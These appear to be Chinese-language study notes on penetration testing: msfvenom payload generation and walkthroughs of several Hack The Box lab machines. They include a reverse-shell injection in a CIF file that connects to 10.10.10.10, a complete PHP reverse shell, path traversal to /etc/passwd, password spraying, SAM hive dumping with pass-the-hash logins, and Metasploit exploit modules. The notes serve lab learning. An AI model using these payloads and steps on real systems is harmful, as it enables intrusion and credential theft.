# MSFvenom ## 建立反向連線程式檔 指令 192.168.43.242/192.168.43.128. ``` msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Addr) LPORT=(Your Port) -f exe -o reverse.exe ``` 這個指令的作用是創建一個 Windows 可執行文件(reverse.exe),當受害者執行該文件後,會嘗試連回設定的 IP 和端口,並建立 Meterpreter session,供攻擊者進行遠端操控。 * `msfvenom`:生成各種 payload 的工具 * `-p windows/meterpreter/reverse_tcp`:指定 payload 類型,表示使用 Meterpreter payload,透過 TCP 反向連線(reverse connection)的方式,連回到攻擊者的機器 * `LHOST=(IP Address)`:設定攻擊者的 IP 地址 * `LPORT=(Your Port)`:設定攻擊者的端口號碼 * `-f exe`:指定生成 payload 的格式為 Windows 可執行文件(.exe) * `-o reverse.exe`:將生成的可執行文件保存為 reverse.exe ![1](https://hackmd.io/_uploads/SySXO0Kgle.png) 檢查檔案是否存在 ![2](https://hackmd.io/_uploads/Hyyr_0Yxlg.png) ## 建立反向連線 Webshell 檔案 ``` msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Addr) LPORT=(Your Port) -f aspx ``` ![3](https://hackmd.io/_uploads/BJxw_0Yxge.png) **差異分析** 1. `exe`格式(reverse.exe): * 這是一個 Windows 可執行文件。適合用於本地執行或社交工程攻擊,當目標用戶在其 Windows 系統上執行這個文件時,它會嘗試連接到指定的 LHOST 和 LPORT * 適合用於直接控制 Windows 主機 2. `aspx`格式: * 這是一個 ASP.NET 網頁文件,適合部署到目標 IIS 網頁伺服器上。如果目標伺服器允許上傳或執行 ASPX 文件,當這個文件被訪問時,它會嘗試反向連線到攻擊者機器 * 適合用於攻擊網頁伺服器,尤其是運行 ASP.NET 的 IIS 伺服器 ## 設置SMBServer ``` impacket-smbserver -smb2support share ~/(路徑) -username (自訂) -password (自訂) ``` 1. `impacket-smbserver`:impacket 是一個 Python 套件,包含了一組用於處理網路協定的工具。smbserver 是其中一個用於建立簡單 SMB 檔案分享伺服器的工具 2. `-smb2support` :這個選項表示啟用 SMBv2 協定支持。SMB(Server Message Block)協定主要用於網路檔案分享,而 SMBv2 相比於舊版的 SMBv1 具有更好的性能和安全性 3. `share`:這是設定的共享名稱。客戶端連接到這個 SMB 伺服器時會看到這個共享名稱,並可透過它來訪問伺服器上的文件。例如,你可以在 Windows 文件管理器中輸入 \\伺服器IP\share 來訪問這個共享 4. `~/` :指定共享的目錄路徑。在這裡,~/ 表示主目錄(即當前使用者的家目錄)。這意味著當客戶端訪問這個共享時,可以訪問伺服器上設置為共享的主目錄 5. `-username ****`:設定 SMB 伺服器的使用者名稱為 **** 6. `-password ****`:設定 SMB 伺服器的密碼為 **** **檢查SMBserver是否打開** ``` ps aux | grep smbserver ``` ![4](https://hackmd.io/_uploads/SJVYuCYxgl.png) * 有出現上面那行才是代表有開啟 ## 掛載SMB檔案到本地(靶機) 在靶機上執行 ``` net use U: \\192.168.43.242\share /u:(SMB帳號) (密碼) ``` ![5](https://hackmd.io/_uploads/SkT9OAFlxl.png) **這個指令的作用是在靶機上建立一個到攻擊者機器的 SMB 共享連接,將攻擊者機器上的 share 共享文件夾映射為靶機的 U: 磁碟。這樣靶機就可以像操作本地磁碟一樣,訪問攻擊者機器上的 share 共享文件夾中的所有文件** 1. `net use`: Windows 中用於管理網路驅動器、網路打印機和共享連接的命令。它可以用來掛載或移除網路共享 1. `U:`:本地電腦中要映射的磁碟代號。當這個命令成功執行後,靶機會將遠端共享映射為本地磁碟 U:,你可以像操作本地磁碟一樣訪問共享文件 1. `\\192.168.43.242\share`: * `\\`雙反斜線表示連接到網路上的遠端共享 * 192.168.43.242:這是攻擊者機器的 IP 地址,表示遠端共享伺服器的位置 * `share`:這是攻擊者機器上共享的名稱,表示攻擊者機器上提供的共享目錄或文件夾。這個名稱必須與 impacket-smbserver 中設置的共享名稱一致 4. `/u:BBrain 3011`:連接到共享伺服器時所需的帳號、密碼 如果在靶機上有連不上的問題 檢查以下2點 1. **攻擊機與靶機ip是否於相同網段** 可以用此指令更改其中一台ip/網段 `sudo ifconfig eth0 192.168.56.10 netmask 255.255.255.0 up ` 1. **檢查虛擬機網路模式** 在虛擬機設定中找到網路,再「附加到」選擇「橋接介面卡」或「Host-only 介面卡」,兩台機器要一致 **查看** 透過指令`dir U:` ![6](https://hackmd.io/_uploads/r172O0Fxle.png) 或是直接點擊資料夾查看 ![7](https://hackmd.io/_uploads/rkxAT_AYggx.png) ![8](https://hackmd.io/_uploads/BykyF0Kgge.png) --- # Cicada [參考](https://www.cnblogs.com/F12-blog/p/18464782) [參考二](https://www.hyhforever.top/htb-cicada/) ## 連接VPN ``` sudo openvpn ``` ![9](https://hackmd.io/_uploads/r13IF0tlge.png) * 成功啟用了 OpenVPN 連線 * 若要保持VPN持續連接,不要關閉這個終端機頁面,開啟其他終端機 ## 掃描靶機 ![10](https://hackmd.io/_uploads/HykdtCYlle.png) * `-vvv`:啟用 非常詳細的輸出(verbose mode) * 應該要看到有哪些port是打開的 **可能出現的問題** 1.在HTB上下載不同國家vpn 2.刪除多餘的vpn連線 ## 查看SMB可用資源 1. `smbclient -L //10.10.11.35/ `是用於檢查特定伺服器上可用的 Samba 共享資源的指令 ![11](https://hackmd.io/_uploads/SJYFtRFxeg.png) * ` ADMIN$` 和 `C$`: 這些是 Windows 預設的管理員共享,通常只能由管理員帳號存取。 * ` DEV `和 `HR`: 這是伺服器上的兩個自訂共享資料夾,**可以嘗試進一步連接到這些資源**(下面步驟)。 * `IPC$`: IPC(Inter-Process Communication),用於程序之間的通訊,通常是系統管理用途。 * `NETLOGON `和 `SYSVOL`: 這些是 Windows 網域控制器的共享,用於管理網域登入腳本和原則(GPO)。 2. `smbclient -N //10.10.11.35/HR `是用來連接位於 10.10.11.35 這台伺服器上名為 HR 的 Samba 共享資源 ![12](https://hackmd.io/_uploads/HkGoFCKxxg.png) * `-N` 代表不使用密碼進行認證,即匿名登入 * 將"Notice from HR.txt"下載下來 ``` ┌──(kali㉿kali)-[~] └─$ cat "Notice from HR.txt" ``` * 查看文件,保存文件中的預設密碼`Cicada$M6Corpb*@Lp#nZp!8` ## 使用CrackMapExec進行帳號與RID枚舉 使用 CrackMapExec 對目標 10.10.11.35 伺服器進行 RID 掃描 ``` ┌──(kali㉿kali)-[~] └─$ crackmapexec smb 10.10.11.35 -u "guest" -p "" --rid-brute ``` ![13](https://hackmd.io/_uploads/rJh3Y0txgl.png) * RID 是標識每個帳號的唯一部分 > 498: CICADA\Enterprise Read-only Domain Controllers (SidTypeGroup) 500: CICADA\Administrator (SidTypeUser) 501: CICADA\Guest (SidTypeUser) * 透過使用預設帳戶guest爆破rid來探測存在的用戶名 * `CICADA-DC`:伺服器的網域名稱或主機名稱 * 像是這便有看到john、sarah、michael、david、emily這幾個使用者 **對伺服器進行多帳號的密碼測試** ``` crackmapexec smb 10.10.11.35 -u user.txt -p 'Cicada$M6Corpb*@Lp#nZp!8' ``` ![14](https://hackmd.io/_uploads/HJe150tlex.png) * user.txt存載著多著使用者的帳號 * 運作方式是將多個使用者帳號逐一嘗試登入,但每個帳號都使用同一組密碼(Cicada$M6Corpb*@Lp#nZp!8) * 也稱為密碼噴灑(Password Spraying) * `[+]`:這是一個成功登入的指標,其中的帳號與密碼通過了驗證 ## 使用Enum4linux獲取詳細SMB協議資訊 **安裝enum4linux-ng** 這是一個用於從 Windows 和 Samba 伺服器中提取使用者、群組、共享、權限和其他系統資訊的工具 error: ![15](https://hackmd.io/_uploads/r16ecAYxxg.png) * 由於 apt 進程(PID 40931)正在佔用鎖文件正在被其他進程佔用,導致你無法安裝 enum4linux-ng * 檢查 apt 是否有其他進程正在執行 ``` ps aux | grep apt ``` * 刪除進程 ``` sudo kill -9 40931 ``` --- ``` enum4linux-ng -A -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' 10.10.11.35 -t 10 ``` * 這個指令的目的是使用 michael.wrightson 帳號和密碼對 IP 10.10.11.35 上的 SMB 服務進行枚舉,嘗試收集伺服器上可用的資訊 ![16](https://hackmd.io/_uploads/SJ9z90Felg.png) * david的帳號密碼:`aRt$Lp#7t*VQ!3` ## 探索並下載SMB共享資源中的敏感數據 ``` smbclient //10.10.11.35/DEV -U 'david.orelious' ``` * 使用 smbclient 工具來連接 SMB(Server Message Block)共享資源。目的是使用 david.orelious 帳號,對伺服器 10.10.11.35 上的 DEV 共享資源進行存取 ![17](https://hackmd.io/_uploads/Bk3N9RYxgg.png) --- 查看檔案 ![18](https://hackmd.io/_uploads/B1IL50Kgeg.png) * 保存密碼:`Q!3@Lp#M6b*7t*Vt` ## 透過Evil-WinRM遠端連接Windows Server ``` evil-winrm -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt' -i 10.10.11.35 ``` * `evil-winrm`:這是一個專門用來連接 Windows 系統的工具,透過 WinRM 協議實現遠端管理 * 這個指令使用 Evil-WinRM 來連接到目標 Windows 伺服器(IP:10.10.11.35),並透過提供的帳號和密碼進入該系統的 Windows Remote Management (WinRM) 服務 **參數解析:** * ` evil-winrm`:這是一個滲透測試工具,用來透過 WinRM(Windows Remote Management) 連接遠端 Windows 系統並執行命令。 * `-u emily.oscars`:指定使用者帳號為 emily.oscars,這個帳號需要具有權限來存取 WinRM 服務。 * ` -p 'Q!3@Lp#M6b*7t*Vt'`:指定該使用者的密碼。 * `-i 10.10.11.35`:目標伺服器的 IP 地址,也就是你要連接的 Windows 系統。 ## 提權 查詢目前使用者權限 ![19](https://hackmd.io/_uploads/BJAwcRYlxe.png) 創建新的資料夾 ``` *Evil-WinRM* PS C:\> mkdir Temp ``` * make directory 存取並儲存登錄檔的 SAM 和 SYSTEM 檔案 ``` *Evil-WinRM* PS C:\> reg save hklm\sam c:\Temp\sam *Evil-WinRM* PS C:\> reg save hklm\system c:\Temp\system ``` * `reg save`:這個指令將登錄檔的資料儲存為檔案。 * `hklm\sam`:SAM(Security Account Manager)儲存了 Windows 系統中的使用者帳號和密碼雜湊。 * `hklm\system`:SYSTEM 登錄檔包含了系統設定,對解密 SAM 檔案中的密碼雜湊非常重要。 * 這兩個檔案的組合可以用來離線破解 Windows 使用者的密碼。 進入 Temp 資料夾 ``` *Evil-WinRM* PS C:\> cd Temp ``` * 將工作目錄切換到 C:\Temp,這裡是剛剛將 sam 和 system 檔案儲存的位置 下載 SAM 和 SYSTEM 檔案到本地端 ``` *Evil-WinRM* PS C:\Temp> download sam *Evil-WinRM* PS C:\Temp> download system ``` * 你透過 Evil-WinRM 將 sam 和 system 檔案下載到你的本地電腦。 * 下載成功後,你可以使用 離線破解工具(如 Hashcat 或 John the Ripper) 來解密並破解 SAM 檔案中的使用者密碼 ## 登入 pypykatz工具:提取 Windows 系統上使用者帳號和密碼雜湊 ``` pypykatz registry --sam sam system ``` ![20](https://hackmd.io/_uploads/H1Utc0Flex.png) 登入 ``` evil-winrm -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341 ``` * 使用 Evil-WinRM 工具來嘗試連接到目標 Windows 伺服器(cicada.htb) * 以 Administrator 帳號進行身份驗證。這裡的密碼是通過 NT hash 提供的,而不是直接使用明文密碼 取得目標機器的最高權限 ``` *Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop ``` ``` *Evil-WinRM* PS C:\Users\Administrator\Desktop> dir ``` ``` *Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt ``` --- # chemistry **nmap -sV -p 22,5000 10.10.11.38** * -p 22,5000:這裡指定了兩個端口(22 和 5000)來掃描。22 是 SSH 通信的標準端口,而 5000 常常用於各種應用程序(如 Flask Web 服務器) ![21](https://hackmd.io/_uploads/SJ_o9AYexe.png) * 22 號端口提供 SSH 連線,允許遠端連線進行系統管理。 * 5000 號端口運行一個 Web 應用程式,可能涉及化學數據處理。此服務回傳的資訊讓我們知道它基於 Werkzeug 和 Python,並且是基於 HTTP 的應用服務。 這段代碼片段中的 _space_group_magn.transform_BNS_Pp_abc 欄位包含了潛在的惡意代碼注入,它利用了 Python 的內部機制來試圖執行操作系統命令 [revshells](https://www.revshells.com/) ``` _space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c \'sh -i >& /dev/tcp/10.10.10.10/9001 0>&1\'");0,0,0' _space_group_magn.number_BNS 62.448 _space_group_magn.name_BNS "P n' m a' " ``` --- ``` netstat -nlp ``` * netstat -nlp 是一條在 Linux 系統中使用的指令,用來檢查當前系統上的網路連線狀態 ``` curl --head http://127.0.0.1:8080 ``` * 使用 curl 命令來檢查本機(127.0.0.1)的 8080 端口上是否有 HTTP 服務在運行 ``` curl -s --path-as-is http://127.0.0.1:8080/assets/../../../../etc/passwd ``` * 這條 curl 指令試圖利用文件路徑中的相對路徑穿越(目錄遍歷)來訪問伺服器的敏感文件 * 目標文件:/etc/passwd * assets:這是伺服器暴露出來的公共目錄,URL 中的相對路徑則試圖突破其限制,訪問系統的敏感文件 --- # perx ## **nmap掃描** ``` nmap -vvv -Pn 10.10.11.23 ``` * 要出現`Initialization Sequence Completed`才代表VPN有連線成功(通常出現在倒數第4行) * 偵測到 10.10.11.23 伺服器上開放的 22 (SSH) 和 80 (HTTP) 端口,還有一些被過濾的端口(如 2049、7002、8021 和 27355) ``` nmap -sC -sV 10.10.11.23 ``` * 使用 Nmap 的腳本掃描(-sC 或 --script vuln)來檢查已知的漏洞,特別是針對開放的 SSH 和 HTTP 服務 * 發現網站的潛在名稱`http://permx.htb` ## **尋找子網域** ``` ffuf -w /usr/share/wordlists/subdomains-top1mil-20000.txt -u http://10.10.11.23 -H "Host: FUZZ.permx.htb" ``` * 太多資料的要過濾一下 ``` ffuf -w /usr/share/wordlists/subdomains-top1mil-20000.txt -u http://10.10.11.23 -H "Host: FUZZ.permx.htb" -fw 18 ``` * 只會顯示 Words 不是 18 的結果 * 找到subdomain of permx.htb about an online learning platform:`lms.permx.htb` ## **進入子網域尋找應用程式** 先將`10.10.11.23 lms.permx.htb`加入`/etc/hosts` 即可在瀏覽器搜尋`http://lms.permx.htb/` 發送一個 HTTP 請求 來獲取目標網站的 HTTP 標頭 ``` curl -I http://lms.permx.htb ``` * 伺服器類型(例如 Server: Apache/2.4.52 (Ubuntu)) * X-Powered-By 頭標中應用程序的框架或版本(例如 X-Powered-By: Chamilo 1)`-the flag` * Cookie 設定(例如 Set-Cookie) * 緩存控制(Cache-Control、Expires) * 內容類型(Content-Type) ## **尋找Chamilo版本** This suggests that the website is running Chamilo LMS version 1.x. However, the exact subversion (e.g., 1.11.28) is not specified in the headers 檢查`robots.txt`,發現`/documentation/` ## **尋找CVE** 根據chiamilo的版本、RCE、XSS這幾個關鍵字 ## **CVE漏洞利用** 因為已經到到CVE版本了 所以可以直接去網路上找[exploit](https://github.com/Ziad-Sakr/Chamilo-CVE-2023-4220-Exploit/tree/main) 這個github只有提供 CVE-2023-4220. sh,沒有提供reverseshell.php 執行` ./CVE-2023-4220.sh -f reverseshell.php -h http://lms.permx.htb -p 4444` 1. CVE-2023-4220.sh是一個利用腳本 * 自動化上傳:該腳本接受多個參數,包括目標URL、端口、攻擊者的IP地址等,並自動執行文件上傳過程。 * 執行特定payload:根據提供的參數,腳本可以上傳不同類型的payload(例如反向Shell),以便於在成功上傳後執行。 2. reverse_file的功能 * 遠程代碼執行(RCE):這個文件通常包含可以在伺服器上執行的代碼,例如反向Shell,允許攻擊者通過HTTP請求來控制伺服器。 * 命令執行:攻擊者可以通過該文件執行任意命令,從而獲取系統信息、下載其他惡意軟件或進一步擴展攻擊。 以下是 PHP 反向 Shell 腳本的範例: ``` <?php $ip = 'YOUR_IP_ADDRESS'; // 替換為你的IP地址 $port = YOUR_PORT; // 替換為你想使用的端口 $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($socket === false) { die("socket_create() failed: " . socket_strerror(socket_last_error()) . "\n"); } $result = socket_connect($socket, $ip, $port); if ($result === false) { die("socket_connect() failed.\nReason: ($result) " . socket_strerror(socket_last_error($socket)) . "\n"); } $cmd = "/bin/sh -i"; socket_write($socket, $cmd, strlen($cmd)); while ($read = socket_read($socket, 2048)) { $output = shell_exec($read); socket_write($socket, $output, strlen($output)); } socket_close($socket); ?> ``` --- # monitorsthree 拉取字典檔 ``` sudo wget https://raw.githubusercontent.com/theMiddleBlue/DNSenum/master/wordlist/subdomains-top1mil-20000.txt ``` ffuf ``` ffuf -u http://monitorsthree.htb -H "HOST:FUZZ.monitorsthree.htb" -w /usr/share/wordlists/subdomains-top1mil-20000.txt ``` * Status: 200:HTTP 狀態碼。200 代表請求成功,表示該子域名存在並回應正常。 * Size: 13560:回應的大小(位元組數)。13560 表示回應的總字節數量。 * Words: 3598:回應中包含的字數。 * Lines: 338:回應中包含的行數。 * Duration: 209ms:請求完成所需的時間(毫秒),即等待伺服器回應的延遲時間。 > -fw 3598:fw 代表 Filter Words,意思是過濾掉所有字數為 3598 的回應。當 ffuf 遇到回應字數為 3598 的結果時,這些回應會被忽略,僅顯示不符合此條件的結果 msfconsole ``` use multi/http/cacti_package_import_rce ``` > set USERNAME admin > set PASSWORD greencacti2001 > set LHOST 10.10.14.13 > set RHOSTS http://cacti.monitorsthree.htb > exploit python pty ``` python3 -c "import pty; pty.spawn('/bin/bash')" ``` kali 字典檔路徑 ``` /usr/share/wordlists ``` --- # administrator ## 偵查 **nmap** **ftp** **使用 CrackMapExec 工具來操作 SMB 協議** `crackmapexec smb 10.10.11.42 -u 'olivia' -p 'ichliebedich' --shares` * ` --shares`:列出目標機器上可用的共享資料夾 **使用(CME) 來測試並連接目標主機的 WinRM (Windows Remote Management) 服務** `crackmapexec winrm 10.10.11.42 -u 'olivia' -p 'ichliebedich' ` ## 連線 **用Evil-WinRM來連接目標主機的WinRM服務** `evil-winrm -i 10.10.11.42 -u 'olivia' -p 'ichliebedich' ` **顯示當前用戶的特權(Privileges)** `*Evil-WinRM* PS C:\Users\olivia\Documents> whoami /priv` * 特權 1. SeMachineAccountPrivilege 1. SeChangeNotifyPrivilege 1. SeIncreaseWorkingSetPrivilege **當前用戶(olivia)的完整信息** `*Evil-WinRM* PS C:\Users\olivia\Documents> whoami /all` 1. 用戶信息 (User Information) 2. 群組信息 (Group Information) 3. 特權信息 (Privileges Information) 4. 用戶聲明信息 (User Claims Information) 5. Kerberos 支持 (Kerberos Support) **列出 Windows 系統上的所有用戶帳戶** `*Evil-WinRM* PS C:\Users\olivia\Documents> net user` ## Active Directory (AD)權限提升 **收集AD 權限和用戶有關資訊** `bloodhound-python -d administrator.htb -ns 10.10.11.42 -u olivia -p ichliebedich -c All --zip` * 使用 bloodhound-python 來對 administrator.htb 域進行分析 * 分析結果會被打包為 .zip 文件 **上傳zip檔案到bloodhound** ![22](https://hackmd.io/_uploads/H1Ppc0Yllx.png) **與主機的 RPC 服務進行交互** `rpcclient -U michael 10.10.11.42` * rpcclient 是一個用於與 Windows 計算機上的 RPC(Remote Procedure Call)服務交互的工具 * `setuserinfo2 benjamin 23 'benjamin'`:將 benjamin 用戶的密碼更改為 benjamin **連線FTP** `ftp 10.10.11.42` username:benjamin/ password:benjamin `ftp> get Backup.psafe3` * FTP 伺服器下載文件 Backup.psafe3 到本地機器 **破解password safe** 1. 確認 john 支援 pwsafe 格式 `john --list=formats` 1. 使用 pwsafe2john 來轉換 .pwsafe 檔案 `pwsafe2john Backup.psafe3 > pwsafe.hash` 1. 使用john搭配字典檔破解 `john --wordlist=/usr/share/wordlists/rockyou.txt pwsafe.hash` * 密碼是 tekieromucho, * 帳戶名稱是 Backu --- # Greenhorn ## Task1 > How many TCP ports are listening on Greenhorn? ``` nmap -vvv -Pn 10.10.11.25 ``` ![23](https://hackmd.io/_uploads/rkxJiRYgeg.png) ## Taks2 > What content management system (CMS) and version powers the website on TCP 80? > TCP 80 上的網站採用什麼內容管理系統 (CMS) 和版本? 修改etc/host ``` sudo nano /etc/hosts ``` ``` 10.10.11.25 greenhorn.htb ``` 上述兩個的快捷鍵 ``` sudo echo "10.10.11.25 greenhorn.htb" | sudo tee -a /etc/hosts ``` 進入網站後,按右鍵點選`View Page Source` ![24](https://hackmd.io/_uploads/SybboAYeeg.png) * Pluck 是一款簡單的網站內容管理系統(CMS),它允許使用者創建和管理網站 ## Task3 > Where does pluck save its admin hash? Give the answer relative to the root of the Pluck instance. > pluck 在哪裡保存其管理hash值?給出相對於 Pluck 實例的根的答案。 進入這個網站(http://10.10.11.25:3000/) 查看login.php ![25](https://hackmd.io/_uploads/Sk2GiCYlee.png) * 密碼驗證方式 ![26](https://hackmd.io/_uploads/rJVEs0Fxgl.png) * 密碼通過`SHA512`雜湊 在`http://10.10.11.25:3000/GreenAdmin/GreenHorn/src/branch/main/data/settings/pass.php`找到psss.php ![27](https://hackmd.io/_uploads/rkaBjCFegx.png) * 與login.php中`$ww`吻合 ## Task4 > What is the admin password for this Pluck instance? > 此 Pluck 實例的管理員密碼是什麼? > 根據上述,我們找到一串經過雜湊過的密碼 我們也知道密碼是經過SHA512雜湊的 去找找看[彩虹表](https://hashes.com/en/decrypt/hash) ![28](https://hackmd.io/_uploads/BJLPsRtlgg.png) * password:`iloveyou1` ## **Task5** > What system user on Greenhorn is the Pluck instance running as? > Pluck 實例以 Greenhorn 上的哪個系統使用者身分運作? 根據CMS的版本(pluck 4.7.18)搜尋CVE漏洞的Poc [Github](https://github.com/Rai2en/CVE-2023-50564_Pluck-v4.7.18_PoC) ## CVE-2023-50564 Detail 漏洞概述 --- 漏洞類型:遠端程式碼執行(RCE) 影響版本:Pluck CMS 4.7.18 發現時間:2024年4月 組件:/inc/modules_install.php **描述** --- Pluck-CMS v4.7.18 元件 /inc/modules_install.php 中存在後台文件上傳功能的設計缺陷,允許攻擊者透過上傳有攻擊性的 ZIP 檔案來取得RCE。 **pluck 簡介** --- Pluck CMS 是一款輕量的內容管理系統(CMS),主要用於簡化小型網站的內容建立、管理和維護。可以透過 `http://yourdomain.com/admin` 存取後台管理介面 開發語言:PHP --- # Lame ### 用nmap 掃描遠端主機的 Top 1000 個 TCP ports ``` nmap -Pn 10.10.10.3 -p- --top-ports 1000 ``` ### 查詢 VSFTPD(Very Secure FTP Daemon)版本 ``` sudo nmap -sV -p 21 10.10.10.3 ``` ### 用metasploit查詢模組 ``` search vsftpd ``` 得到 ``` exploit/unix/ftp/vsftpd_234_backdoor ``` 利用該模組 ``` use exploit/unix/ftp/vsftpd_234_backdoor ``` 設定目標IP ``` set RHOSTS 10.10.10.3 ``` 執行 ``` run ``` ### 查詢 Samba 版本 * 通常是 TCP 139 和 445 ``` nmap -sV -p 139,445 10.10.10.3 ``` 輸出結果 ``` 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) ``` * 沒有完整的版本號碼 * 將指令增加 `-A` : 更強的版本偵測選項 ``` nmap -A -p 139,445 10.10.10.3 ```